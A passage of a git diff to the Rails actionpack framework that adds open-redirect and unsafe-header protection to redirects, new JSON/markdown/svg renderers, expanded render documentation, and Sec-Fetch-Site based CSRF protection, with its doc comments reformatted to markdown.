       raise AbstractController::DoubleRenderError if response_body
 
-      self.status        = _extract_redirect_to_status(options, response_status)
-      self.location      = _compute_redirect_to_location(request, options)
-      self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"
+      allow_other_host = response_options.delete(:allow_other_host)
+
+      proposed_status = _extract_redirect_to_status(options, response_options)
+
+      redirect_to_location = _compute_redirect_to_location(request, options)
+      _ensure_url_is_http_header_safe(redirect_to_location)
+
+      self.location      = _enforce_open_redirect_protection(redirect_to_location, allow_other_host: allow_other_host)
+      self.response_body = ""
+      self.status        = proposed_status
     end
 
-    # Redirects the browser to the page that issued the request (the referrer)
-    # if possible, otherwise redirects to the provided default fallback
-    # location.
-    #
-    # The referrer information is pulled from the HTTP `Referer` (sic) header on
-    # the request. This is an optional header and its presence on the request is
-    # subject to browser security settings and user preferences. If the request
-    # is missing this header, the <tt>fallback_location</tt> will be used.
-    #
-    #   redirect_back fallback_location: { action: "show", id: 5 }
-    #   redirect_back fallback_location: @post
-    #   redirect_back fallback_location: "http://www.rubyonrails.org"
-    #   redirect_back fallback_location: "/images/screenshot.jpg"
-    #   redirect_back fallback_location: posts_url
-    #   redirect_back fallback_location: proc { edit_post_url(@post) }
-    #
-    # All options that can be passed to <tt>redirect_to</tt> are accepted as
-    # options and the behavior is identical.
-    def redirect_back(fallback_location:, **args)
-      if referer = request.headers["Referer"]
-        redirect_to referer, **args
+    # Soft deprecated alias for #redirect_back_or_to where the `fallback_location`
+    # location is supplied as a keyword argument instead of the first positional
+    # argument.
+    def redirect_back(fallback_location:, allow_other_host: _allow_other_host, **args)
+      redirect_back_or_to fallback_location, allow_other_host: allow_other_host, **args
+    end
+
+    # Redirects the browser to the page that issued the request (the referrer) if
+    # possible, otherwise redirects to the provided default fallback location.
+    #
+    # The referrer information is pulled from the HTTP `Referer` (sic) header on the
+    # request. This is an optional header and its presence on the request is subject
+    # to browser security settings and user preferences. If the request is missing
+    # this header, the `fallback_location` will be used.
+    #
+    #     redirect_back_or_to({ action: "show", id: 5 })
+    #     redirect_back_or_to @post
+    #     redirect_back_or_to "http://www.rubyonrails.org"
+    #     redirect_back_or_to "/images/screenshot.jpg"
+    #     redirect_back_or_to posts_url
+    #     redirect_back_or_to proc { edit_post_url(@post) }
+    #     redirect_back_or_to '/', allow_other_host: false
+    #
+    # #### Options
+    # *   `:allow_other_host` - Allow or disallow redirection to the host that is
+    #     different to the current host, defaults to true.
+    #
+    #
+    # All other options that can be passed to #redirect_to are accepted as options,
+    # and the behavior is identical.
+    def redirect_back_or_to(fallback_location, allow_other_host: _allow_other_host, **options)
+      if request.referer && (allow_other_host || _url_host_allowed?(request.referer))
+        redirect_to request.referer, allow_other_host: allow_other_host, **options
       else
-        redirect_to fallback_location, **args
+        # The method level `allow_other_host` doesn't apply in the fallback case, omit
+        # and let the `redirect_to` handling take over.
+        redirect_to fallback_location, **options
       end
     end
 
-    def _compute_redirect_to_location(request, options) #:nodoc:
+    def _compute_redirect_to_location(request, options) # :nodoc:
       case options
-      # The scheme name consist of a letter followed by any combination of
-      # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
-      # characters; and is terminated by a colon (":").
-      # See http://tools.ietf.org/html/rfc3986#section-3.1
-      # The protocol relative scheme starts with a double slash "//".
-      when /\A([a-z][a-z\d\-+\.]*:|\/\/).*/i
-        options
+      # The scheme name consist of a letter followed by any combination of letters,
+      # digits, and the plus ("+"), period ("."), or hyphen ("-") characters; and is
+      # terminated by a colon (":"). See
+      # https://tools.ietf.org/html/rfc3986#section-3.1 The protocol relative scheme
+      # starts with a double slash "//".
+      when /\A([a-z][a-z\d\-+.]*:|\/\/).*/i
+        options.to_str
       when String
+        if !options.start_with?("/", "?") && !options.empty?
+          _handle_path_relative_redirect(options)
+        end
+
         request.protocol + request.host_with_port + options
       when Proc
-        _compute_redirect_to_location request, options.call
+        _compute_redirect_to_location request, instance_eval(&options)
       else
         url_for(options)
       end.delete("\0\r\n")
@@ -105,15 +227,118 @@ def _compute_redirect_to_location(request, options) #:nodoc:
     module_function :_compute_redirect_to_location
     public :_compute_redirect_to_location
 
+    # Verifies the passed `location` is an internal URL that's safe to redirect to
+    # and returns it, or nil if not. Useful to wrap a params provided redirect URL
+    # and fall back to an alternate URL to redirect to:
+    #
+    #     redirect_to url_from(params[:redirect_url]) || root_url
+    #
+    # The `location` is considered internal, and safe, if it's on the same host as
+    # `request.host`:
+    #
+    #     # If request.host is example.com:
+    #     url_from("https://example.com/profile") # => "https://example.com/profile"
+    #     url_from("http://example.com/profile")  # => "http://example.com/profile"
+    #     url_from("http://evil.com/profile")     # => nil
+    #
+    # Subdomains are considered part of the host:
+    #
+    #     # If request.host is on https://example.com or https://app.example.com, you'd get:
+    #     url_from("https://dev.example.com/profile") # => nil
+    #
+    # NOTE: there's a similarity with
+    # [url_for](rdoc-ref:ActionDispatch::Routing::UrlFor#url_for), which generates
+    # an internal URL from various options from within the app, e.g.
+    # `url_for(@post)`. However, #url_from is meant to take an external parameter to
+    # verify as in `url_from(params[:redirect_url])`.
+    def url_from(location)
+      location = location.presence
+      location if location && _url_host_allowed?(location)
+    end
+
     private
-      def _extract_redirect_to_status(options, response_status)
+      def _allow_other_host
+        return false if raise_on_open_redirects
+
+        action_on_open_redirect != :raise
+      end
+
+      def _extract_redirect_to_status(options, response_options)
         if options.is_a?(Hash) && options.key?(:status)
-          Rack::Utils.status_code(options.delete(:status))
-        elsif response_status.key?(:status)
-          Rack::Utils.status_code(response_status[:status])
+          ActionDispatch::Response.rack_status_code(options.delete(:status))
+        elsif response_options.key?(:status)
+          ActionDispatch::Response.rack_status_code(response_options[:status])
         else
           302
         end
       end
+
+      def _enforce_open_redirect_protection(location, allow_other_host:)
+        # Explicitly allowed other host or host is in allow list allow redirect
+        if allow_other_host || _url_host_allowed?(location)
+          location
+        # Explicitly disallowed other host
+        elsif allow_other_host == false
+          raise OpenRedirectError.new(location)
+        # Configuration disallows other hosts
+        elsif !_allow_other_host
+          raise OpenRedirectError.new(location)
+        # Log but allow redirect
+        elsif action_on_open_redirect == :log
+          logger.warn "Open redirect to #{location.inspect} detected" if logger
+          location
+        # Notify but allow redirect
+        elsif action_on_open_redirect == :notify
+          ActiveSupport::Notifications.instrument("open_redirect.action_controller",
+            location: location,
+            request: request,
+            stack_trace: caller,
+          )
+          location
+        # Fall through, should not happen but raise for safety
+        else
+          raise OpenRedirectError.new(location)
+        end
+      end
+
+      def _url_host_allowed?(url)
+        url_to_s = url.to_s
+        host = URI(url_to_s).host
+
+        if host.nil?
+          url_to_s.start_with?("/") && !url_to_s.start_with?("//")
+        else
+          host == request.host || self.class.allowed_redirect_hosts_permissions&.allows?(host)
+        end
+      rescue ArgumentError, URI::Error
+        false
+      end
+
+      def _ensure_url_is_http_header_safe(url)
+        # Attempt to comply with the set of valid token characters defined for an HTTP
+        # header value in https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6
+        if url.match?(ILLEGAL_HEADER_VALUE_REGEX)
+          msg = "The redirect URL #{url} contains one or more illegal HTTP header field character. " \
+            "Set of legal characters defined in https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6"
+          raise UnsafeRedirectError, msg
+        end
+      end
+
+      def _handle_path_relative_redirect(url)
+        message = "Path relative URL redirect detected: #{url.inspect}"
+
+        case action_on_path_relative_redirect
+        when :log
+          logger&.warn message
+        when :notify
+          ActiveSupport::Notifications.instrument("unsafe_redirect.action_controller",
+            url: url,
+            message: message,
+            stack_trace: caller
+          )
+        when :raise
+          raise PathRelativeRedirectError.new(url)
+        end
+      end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 733aca195d702..2303ee2c50a24 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -1,17 +1,19 @@
-require "set"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionController
-  # See <tt>Renderers.add</tt>
+  # See Renderers.add
   def self.add_renderer(key, &block)
     Renderers.add(key, &block)
   end
 
-  # See <tt>Renderers.remove</tt>
+  # See Renderers.remove
   def self.remove_renderer(key)
     Renderers.remove(key)
   end
 
-  # See <tt>Responder#api_behavior</tt>
+  # See `Responder#api_behavior`
   class MissingRenderer < LoadError
     def initialize(format)
       super "No renderer defined for format: #{format}"
@@ -22,16 +24,29 @@ module Renderers
     extend ActiveSupport::Concern
 
     # A Set containing renderer names that correspond to available renderer procs.
-    # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
+    # Default values are `:json`, `:js`, `:xml`.
     RENDERERS = Set.new
 
+    module DeprecatedEscapeJsonResponses # :nodoc:
+      def escape_json_responses=(value)
+        if value
+          ActionController.deprecator.warn(<<~MSG.squish)
+            Setting action_controller.escape_json_responses = true is deprecated and will have no effect in Rails 8.2.
+            Set it to `false`, or remove the config.
+          MSG
+        end
+        super
+      end
+    end
+
     included do
-      class_attribute :_renderers
-      self._renderers = Set.new.freeze
+      class_attribute :_renderers, default: Set.new.freeze
+      class_attribute :escape_json_responses, instance_writer: false, instance_accessor: false, default: true
+
+      singleton_class.prepend DeprecatedEscapeJsonResponses
     end
 
-    # Used in <tt>ActionController::Base</tt>
-    # and <tt>ActionController::API</tt> to include all
+    # Used in ActionController::Base and ActionController::API to include all
     # renderers by default.
     module All
       extend ActiveSupport::Concern
@@ -42,35 +57,34 @@ module All
       end
     end
 
-    # Adds a new renderer to call within controller actions.
-    # A renderer is invoked by passing its name as an option to
-    # <tt>AbstractController::Rendering#render</tt>. To create a renderer
-    # pass it a name and a block. The block takes two arguments, the first
-    # is the value paired with its key and the second is the remaining
-    # hash of options passed to +render+.
+    # Adds a new renderer to call within controller actions. A renderer is invoked
+    # by passing its name as an option to AbstractController::Rendering#render. To
+    # create a renderer pass it a name and a block. The block takes two arguments,
+    # the first is the value paired with its key and the second is the remaining
+    # hash of options passed to `render`.
     #
     # Create a csv renderer:
     #
-    #   ActionController::Renderers.add :csv do |obj, options|
-    #     filename = options[:filename] || 'data'
-    #     str = obj.respond_to?(:to_csv) ? obj.to_csv : obj.to_s
-    #     send_data str, type: Mime[:csv],
-    #       disposition: "attachment; filename=#{filename}.csv"
-    #   end
+    #     ActionController::Renderers.add :csv do |obj, options|
+    #       filename = options[:filename] || 'data'
+    #       str = obj.respond_to?(:to_csv) ? obj.to_csv : obj.to_s
+    #       send_data str, type: Mime[:csv],
+    #         disposition: "attachment; filename=#{filename}.csv"
+    #     end
     #
-    # Note that we used Mime[:csv] for the csv mime type as it comes with Rails.
+    # Note that we used [Mime](:csv) for the csv mime type as it comes with Rails.
     # For a custom renderer, you'll need to register a mime type with
-    # <tt>Mime::Type.register</tt>.
+    # `Mime::Type.register`.
     #
     # To use the csv renderer in a controller action:
     #
-    #   def show
-    #     @csvable = Csvable.find(params[:id])
-    #     respond_to do |format|
-    #       format.html
-    #       format.csv { render csv: @csvable, filename: @csvable.name }
+    #     def show
+    #       @csvable = Csvable.find(params[:id])
+    #       respond_to do |format|
+    #         format.html
+    #         format.csv { render csv: @csvable, filename: @csvable.name }
+    #       end
     #     end
-    #   end
     def self.add(key, &block)
       define_method(_render_with_renderer_method_name(key), &block)
       RENDERERS << key.to_sym
@@ -80,51 +94,51 @@ def self.add(key, &block)
     #
     # To remove a csv renderer:
     #
-    #   ActionController::Renderers.remove(:csv)
+    #     ActionController::Renderers.remove(:csv)
     def self.remove(key)
       RENDERERS.delete(key.to_sym)
       method_name = _render_with_renderer_method_name(key)
-      remove_method(method_name) if method_defined?(method_name)
+      remove_possible_method(method_name)
     end
 
-    def self._render_with_renderer_method_name(key)
+    def self._render_with_renderer_method_name(key) # :nodoc:
       "_render_with_renderer_#{key}"
     end
 
     module ClassMethods
-      # Adds, by name, a renderer or renderers to the +_renderers+ available
-      # to call within controller actions.
+      # Adds, by name, a renderer or renderers to the `_renderers` available to call
+      # within controller actions.
       #
-      # It is useful when rendering from an <tt>ActionController::Metal</tt> controller or
+      # It is useful when rendering from an ActionController::Metal controller or
       # otherwise to add an available renderer proc to a specific controller.
       #
-      # Both <tt>ActionController::Base</tt> and <tt>ActionController::API</tt>
-      # include <tt>ActionController::Renderers::All</tt>, making all renderers
-      # available in the controller. See <tt>Renderers::RENDERERS</tt> and <tt>Renderers.add</tt>.
+      # Both ActionController::Base and ActionController::API include
+      # ActionController::Renderers::All, making all renderers available in the
+      # controller. See Renderers::RENDERERS and Renderers.add.
       #
-      # Since <tt>ActionController::Metal</tt> controllers cannot render, the controller
-      # must include <tt>AbstractController::Rendering</tt>, <tt>ActionController::Rendering</tt>,
-      # and <tt>ActionController::Renderers</tt>, and have at least one renderer.
+      # Since ActionController::Metal controllers cannot render, the controller must
+      # include AbstractController::Rendering, ActionController::Rendering, and
+      # ActionController::Renderers, and have at least one renderer.
       #
-      # Rather than including <tt>ActionController::Renderers::All</tt> and including all renderers,
-      # you may specify which renderers to include by passing the renderer name or names to
-      # +use_renderers+. For example, a controller that includes only the <tt>:json</tt> renderer
-      # (+_render_with_renderer_json+) might look like:
+      # Rather than including ActionController::Renderers::All and including all
+      # renderers, you may specify which renderers to include by passing the renderer
+      # name or names to `use_renderers`. For example, a controller that includes only
+      # the `:json` renderer (`_render_with_renderer_json`) might look like:
       #
-      #   class MetalRenderingController < ActionController::Metal
-      #     include AbstractController::Rendering
-      #     include ActionController::Rendering
-      #     include ActionController::Renderers
+      #     class MetalRenderingController < ActionController::Metal
+      #       include AbstractController::Rendering
+      #       include ActionController::Rendering
+      #       include ActionController::Renderers
       #
-      #     use_renderers :json
+      #       use_renderers :json
       #
-      #     def show
-      #       render json: record
+      #       def show
+      #         render json: record
+      #       end
       #     end
-      #   end
       #
-      # You must specify a +use_renderer+, else the +controller.renderer+ and
-      # +controller._renderers+ will be <tt>nil</tt>, and the action will fail.
+      # You must specify a `use_renderer`, else the `controller.renderer` and
+      # `controller._renderers` will be `nil`, and the action will fail.
       def use_renderers(*args)
         renderers = _renderers + args
         self._renderers = renderers.freeze
@@ -132,16 +146,16 @@ def use_renderers(*args)
       alias use_renderer use_renderers
     end
 
-    # Called by +render+ in <tt>AbstractController::Rendering</tt>
-    # which sets the return value as the +response_body+.
+    # Called by `render` in AbstractController::Rendering which sets the return
+    # value as the `response_body`.
     #
-    # If no renderer is found, +super+ returns control to
-    # <tt>ActionView::Rendering.render_to_body</tt>, if present.
+    # If no renderer is found, `super` returns control to
+    # `ActionView::Rendering.render_to_body`, if present.
     def render_to_body(options)
       _render_to_body_with_renderer(options) || super
     end
 
-    def _render_to_body_with_renderer(options)
+    def _render_to_body_with_renderer(options) # :nodoc:
       _renderers.each do |name|
         if options.key?(name)
           _process_options(options)
@@ -153,28 +167,40 @@ def _render_to_body_with_renderer(options)
     end
 
     add :json do |json, options|
-      json = json.to_json(options) unless json.kind_of?(String)
+      json_options = options.except(:callback, :content_type, :status)
+      json_options[:escape] ||= false if !self.class.escape_json_responses? && options[:callback].blank?
+      json = json.to_json(json_options) unless json.kind_of?(String)
 
       if options[:callback].present?
-        if content_type.nil? || content_type == Mime[:json]
-          self.content_type = Mime[:js]
+        if media_type.nil? || media_type == Mime[:json]
+          self.content_type = :js
         end
 
         "/**/#{options[:callback]}(#{json})"
       else
-        self.content_type ||= Mime[:json]
+        self.content_type = :json if media_type.nil?
         json
       end
     end
 
     add :js do |js, options|
-      self.content_type ||= Mime[:js]
+      self.content_type = :js if media_type.nil?
       js.respond_to?(:to_js) ? js.to_js(options) : js
     end
 
     add :xml do |xml, options|
-      self.content_type ||= Mime[:xml]
+      self.content_type = :xml if media_type.nil?
       xml.respond_to?(:to_xml) ? xml.to_xml(options) : xml
     end
+
+    add :markdown do |md, options|
+      self.content_type = :md if media_type.nil?
+      md.respond_to?(:to_markdown) ? md.to_markdown : md
+    end
+
+    add :svg do |svg, options|
+      self.content_type = :svg if media_type.nil?
+      svg.respond_to?(:to_svg) ? svg.to_svg : svg
+    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index 6b177193817dc..eb2ac71d2b285 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -1,4 +1,6 @@
-require "active_support/core_ext/string/filters"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionController
   module Rendering
@@ -10,8 +12,8 @@ module ClassMethods
       # Documentation at ActionController::Renderer#render
       delegate :render, to: :renderer
 
-      # Returns a renderer instance (inherited from ActionController::Renderer)
-      # for the controller.
+      # Returns a renderer instance (inherited from ActionController::Renderer) for
+      # the controller.
       attr_reader :renderer
 
       def setup_renderer! # :nodoc:
@@ -24,23 +26,161 @@ def inherited(klass)
       end
     end
 
-    # Before processing, set the request formats in current controller formats.
-    def process_action(*) #:nodoc:
-      self.formats = request.formats.map(&:ref).compact
-      super
-    end
-
+    # Renders a template and assigns the result to `self.response_body`.
+    #
+    # If no rendering mode option is specified, the template will be derived from
+    # the first argument.
+    #
+    #     render "posts/show"
+    #     # => renders app/views/posts/show.html.erb
+    #
+    #     # In a PostsController action...
+    #     render :show
+    #     # => renders app/views/posts/show.html.erb
+    #
+    # If the first argument responds to `render_in`, the template will be rendered
+    # by calling `render_in` with the current view context.
+    #
+    #     class Greeting
+    #       def render_in(view_context)
+    #         view_context.render html: "<h1>Hello, World</h1>"
+    #       end
+    #
+    #       def format
+    #         :html
+    #       end
+    #     end
+    #
+    #     render(Greeting.new)
+    #     # => "<h1>Hello, World</h1>"
+    #
+    #     render(renderable: Greeting.new)
+    #     # => "<h1>Hello, World</h1>"
+    #
+    # #### Rendering Mode
+    #
+    # `:partial`
+    # :   See ActionView::PartialRenderer for details.
+    #
+    #         render partial: "posts/form", locals: { post: Post.new }
+    #         # => renders app/views/posts/_form.html.erb
+    #
+    # `:file`
+    # :   Renders the contents of a file. This option should **not** be used with
+    #     unsanitized user input.
+    #
+    #         render file: "/path/to/some/file"
+    #         # => renders /path/to/some/file
+    #
+    # `:inline`
+    # :   Renders an ERB template string.
+    #
+    #         @name = "World"
+    #         render inline: "<h1>Hello, <%= @name %>!</h1>"
+    #         # => renders "<h1>Hello, World!</h1>"
+    #
+    # `:body`
+    # :   Renders the provided text, and sets the content type as `text/plain`.
+    #
+    #         render body: "Hello, World!"
+    #         # => renders "Hello, World!"
+    #
+    # `:plain`
+    # :   Renders the provided text, and sets the content type as `text/plain`.
+    #
+    #         render plain: "Hello, World!"
+    #         # => renders "Hello, World!"
+    #
+    # `:html`
+    # :   Renders the provided HTML string, and sets the content type as
+    #     `text/html`. If the string is not `html_safe?`, performs HTML escaping on
+    #     the string before rendering.
+    #
+    #         render html: "<h1>Hello, World!</h1>".html_safe
+    #         # => renders "<h1>Hello, World!</h1>"
+    #
+    #         render html: "<h1>Hello, World!</h1>"
+    #         # => renders "&lt;h1&gt;Hello, World!&lt;/h1&gt;"
+    #
+    # `:json`
+    # :   Renders the provided object as JSON, and sets the content type as
+    #     `application/json`. If the object is not a string, it will be converted to
+    #     JSON by calling `to_json`.
+    #
+    #         render json: { hello: "world" }
+    #         # => renders "{\"hello\":\"world\"}"
+    #
+    # `:renderable`
+    # :   Renders the provided object by calling `render_in` with the current view
+    #     context. The response format is determined by calling `format` on the
+    #     renderable if it responds to `format`, falling back to `text/html` by
+    #     default.
+    #
+    #         render renderable: Greeting.new
+    #         # => renders "<h1>Hello, World</h1>"
+    #
+    #
+    # By default, when a rendering mode is specified, no layout template is
+    # rendered.
+    #
+    # #### Options
+    #
+    # `:assigns`
+    # :   Hash of instance variable assignments for the template.
+    #
+    #         render inline: "<h1>Hello, <%= @name %>!</h1>", assigns: { name: "World" }
+    #         # => renders "<h1>Hello, World!</h1>"
+    #
+    # `:locals`
+    # :   Hash of local variable assignments for the template.
+    #
+    #         render inline: "<h1>Hello, <%= name %>!</h1>", locals: { name: "World" }
+    #         # => renders "<h1>Hello, World!</h1>"
+    #
+    # `:layout`
+    # :   The layout template to render. Can also be `false` or `true` to disable or
+    #     (re)enable the default layout template.
+    #
+    #         render "posts/show", layout: "holiday"
+    #         # => renders app/views/posts/show.html.erb with the app/views/layouts/holiday.html.erb layout
+    #
+    #         render "posts/show", layout: false
+    #         # => renders app/views/posts/show.html.erb with no layout
+    #
+    #         render inline: "<h1>Hello, World!</h1>", layout: true
+    #         # => renders "<h1>Hello, World!</h1>" with the default layout
+    #
+    # `:status`
+    # :   The HTTP status code to send with the response. Can be specified as a
+    #     number or as the status name in Symbol form. Defaults to 200.
+    #
+    #         render "posts/new", status: 422
+    #         # => renders app/views/posts/new.html.erb with HTTP status code 422
+    #
+    #         render "posts/new", status: :unprocessable_entity
+    #         # => renders app/views/posts/new.html.erb with HTTP status code 422
+    #
+    # `:variants`
+    # :  This tells Rails to look for the first template matching any of the variations.
+    #
+    #         render "posts/index", variants: [:mobile]
+    #         # => renders app/views/posts/index.html+mobile.erb
+    #
+    #--
     # Check for double render errors and set the content_type after rendering.
-    def render(*args) #:nodoc:
+    def render(*args)
       raise ::AbstractController::DoubleRenderError if response_body
       super
     end
 
-    # Overwrite render_to_string because body can now be set to a rack body.
+    # Similar to #render, but only returns the rendered template as a string,
+    # instead of setting `self.response_body`.
+    #--
+    # Override render_to_string because body can now be set to a Rack body.
     def render_to_string(*)
       result = super
       if result.respond_to?(:each)
-        string = ""
+        string = +""
         result.each { |r| string << r }
         string
       else
@@ -48,11 +188,16 @@ def render_to_string(*)
       end
     end
 
-    def render_to_body(options = {})
+    def render_to_body(options = {}) # :nodoc:
       super || _render_in_priorities(options) || " "
     end
 
     private
+      # Before processing, set the request formats in current controller formats.
+      def process_action(*) # :nodoc:
+        self.formats = request.formats.filter_map(&:ref)
+        super
+      end
 
       def _process_variant(options)
         if defined?(request) && !request.nil? && request.variant.present?
@@ -69,20 +214,19 @@ def _render_in_priorities(options)
       end
 
       def _set_html_content_type
-        self.content_type = Mime[:html].to_s
+        self.content_type = :html
       end
 
       def _set_rendered_content_type(format)
-        if format && !response.content_type
+        if format && !response.media_type
           self.content_type = format.to_s
         end
       end
 
-      # Normalize arguments by catching blocks and setting them on :update.
-      def _normalize_args(action = nil, options = {}, &blk)
-        options = super
-        options[:update] = blk if block_given?
-        options
+      def _set_vary_header
+        if response.headers["Vary"].blank? && request.should_apply_vary_header?
+          response.headers["Vary"] = "Accept"
+        end
       end
 
       # Normalize both text and status options.
@@ -94,7 +238,7 @@ def _normalize_options(options)
         end
 
         if options[:status]
-          options[:status] = Rack::Utils.status_code(options[:status])
+          options[:status] = ActionDispatch::Response.rack_status_code(options[:status])
         end
 
         super
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index e8965a6561ab2..31c7c1fee660d 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -1,139 +1,335 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rack/session/abstract/id"
 require "action_controller/metal/exceptions"
 require "active_support/security_utils"
 
-module ActionController #:nodoc:
-  class InvalidAuthenticityToken < ActionControllerError #:nodoc:
+module ActionController # :nodoc:
+  class InvalidCrossOriginRequest < ActionControllerError # :nodoc:
   end
 
-  class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
-  end
+  include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+  deprecate_constant "InvalidAuthenticityToken", "ActionController::InvalidCrossOriginRequest",
+    deprecator: ActionController.deprecator,
+    message: "ActionController::InvalidAuthenticityToken has been deprecated and will be removed in Rails 9.0. Use ActionController::InvalidCrossOriginRequest instead."
 
-  # Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
-  # by including a token in the rendered HTML for your application. This token is
-  # stored as a random string in the session, to which an attacker does not have
-  # access. When a request reaches your application, \Rails verifies the received
-  # token with the token in the session. All requests are checked except GET requests
-  # as these should be idempotent. Keep in mind that all session-oriented requests
-  # should be CSRF protected, including JavaScript and HTML requests.
+  # # Action Controller Request Forgery Protection
+  #
+  # Controller actions are protected from Cross-Site Request Forgery (CSRF)
+  # attacks by checking the Sec-Fetch-Site header sent by modern browsers to
+  # indicate the relationship between request's initiator origin and the origin
+  # of the requested resource
+  # (https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Sec-Fetch-Site)
+  #
+  # For applications that need to support older browsers, there's a token-based
+  # fallback. A token is included in the rendered HTML for your application. This
+  # token is stored as a random string in the session, to which an attacker does
+  # not have access. When a request reaches your application, Rails verifies the
+  # received token with the token in the session. All requests are checked except
+  # GET requests as these should be idempotent. Keep in mind that all
+  # session-oriented requests are CSRF protected by default, including JavaScript
+  # and HTML requests.
   #
   # Since HTML and JavaScript requests are typically made from the browser, we
-  # need to ensure to verify request authenticity for the web browser. We can
-  # use session-oriented authentication for these types of requests, by using
-  # the `protect_from_forgery` method in our controllers.
+  # need to ensure to verify request authenticity for the web browser. We can use
+  # session-oriented authentication for these types of requests, by using the
+  # `protect_from_forgery` method in our controllers.
   #
   # GET requests are not protected since they don't have side effects like writing
   # to the database and don't leak sensitive information. JavaScript requests are
-  # an exception: a third-party site can use a <script> tag to reference a JavaScript
-  # URL on your site. When your JavaScript response loads on their site, it executes.
-  # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
-  # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
-  # Ajax) requests are allowed to make GET requests for JavaScript responses.
+  # an exception: a third-party site can use a <script> tag to reference a
+  # JavaScript URL on your site. When your JavaScript response loads on their
+  # site, it executes. With carefully crafted JavaScript on their end, sensitive
+  # data in your JavaScript response may be extracted. To prevent this, only
+  # XmlHttpRequest (known as XHR or Ajax) requests are allowed to make requests
+  # for JavaScript responses.
   #
-  # It's important to remember that XML or JSON requests are also affected and if
-  # you're building an API you should change forgery protection method in
-  # <tt>ApplicationController</tt> (by default: <tt>:exception</tt>):
+  # Subclasses of ActionController::Base are protected by default with the
+  # `:exception` strategy, which raises an
+  # ActionController::InvalidCrossOriginRequest error on unverified requests.
   #
-  #   class ApplicationController < ActionController::Base
-  #     protect_from_forgery unless: -> { request.format.json? }
-  #   end
+  # APIs may want to disable this behavior since they are typically designed to be
+  # state-less: that is, the request API client handles the session instead of
+  # Rails. One way to achieve this is to use the `:null_session` strategy instead,
+  # which allows unverified requests to be handled, but with an empty session:
   #
-  # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method.
-  # By default <tt>protect_from_forgery</tt> protects your session with
-  # <tt>:null_session</tt> method, which provides an empty session
-  # during request.
+  #     class ApplicationController < ActionController::Base
+  #       protect_from_forgery with: :null_session
+  #     end
   #
-  # We may want to disable CSRF protection for APIs since they are typically
-  # designed to be state-less. That is, the request API client will handle
-  # the session for you instead of Rails.
+  # Note that API only applications don't include this module or a session
+  # middleware by default, and so don't require CSRF protection to be configured.
   #
-  # The token parameter is named <tt>authenticity_token</tt> by default. The name and
-  # value of this token must be added to every layout that renders forms by including
-  # <tt>csrf_meta_tags</tt> in the HTML +head+.
+  # The token parameter is named `authenticity_token` by default. The name and
+  # value of this token must be added to every layout that renders forms by
+  # including `csrf_meta_tags` in the HTML `head`.
   #
-  # Learn more about CSRF attacks and securing your application in the
-  # {Ruby on Rails Security Guide}[http://guides.rubyonrails.org/security.html].
+  # Learn more about CSRF attacks and securing your application in the [Ruby on
+  # Rails Security Guide](https://guides.rubyonrails.org/security.html).
   module RequestForgeryProtection
+    CSRF_TOKEN = "action_controller.csrf_token"
+
     extend ActiveSupport::Concern
 
     include AbstractController::Helpers
     include AbstractController::Callbacks
 
     included do
-      # Sets the token parameter name for RequestForgery. Calling +protect_from_forgery+
-      # sets it to <tt>:authenticity_token</tt> by default.
-      config_accessor :request_forgery_protection_token
+      # Sets the token parameter name for RequestForgery. Calling
+      # `protect_from_forgery` sets it to `:authenticity_token` by default.
+      singleton_class.delegate :request_forgery_protection_token, :request_forgery_protection_token=, to: :config
+      delegate :request_forgery_protection_token, :request_forgery_protection_token=, to: :config
       self.request_forgery_protection_token ||= :authenticity_token
 
       # Holds the class which implements the request forgery protection.
-      config_accessor :forgery_protection_strategy
+      singleton_class.delegate :forgery_protection_strategy, :forgery_protection_strategy=, to: :config
+      delegate :forgery_protection_strategy, :forgery_protection_strategy=, to: :config
       self.forgery_protection_strategy = nil
 
-      # Controls whether request forgery protection is turned on or not. Turned off by default only in test mode.
-      config_accessor :allow_forgery_protection
+      # Controls whether request forgery protection is turned on or not. Turned off by
+      # default only in test mode.
+      singleton_class.delegate :allow_forgery_protection, :allow_forgery_protection=, to: :config
+      delegate :allow_forgery_protection, :allow_forgery_protection=, to: :config
       self.allow_forgery_protection = true if allow_forgery_protection.nil?
 
       # Controls whether a CSRF failure logs a warning. On by default.
-      config_accessor :log_warning_on_csrf_failure
+      singleton_class.delegate :log_warning_on_csrf_failure, :log_warning_on_csrf_failure=, to: :config
+      delegate :log_warning_on_csrf_failure, :log_warning_on_csrf_failure=, to: :config
       self.log_warning_on_csrf_failure = true
 
       # Controls whether the Origin header is checked in addition to the CSRF token.
-      config_accessor :forgery_protection_origin_check
+      singleton_class.delegate :forgery_protection_origin_check, :forgery_protection_origin_check=, to: :config
+      delegate :forgery_protection_origin_check, :forgery_protection_origin_check=, to: :config
       self.forgery_protection_origin_check = false
 
       # Controls whether form-action/method specific CSRF tokens are used.
-      config_accessor :per_form_csrf_tokens
+      singleton_class.delegate :per_form_csrf_tokens, :per_form_csrf_tokens=, to: :config
+      delegate :per_form_csrf_tokens, :per_form_csrf_tokens=, to: :config
       self.per_form_csrf_tokens = false
 
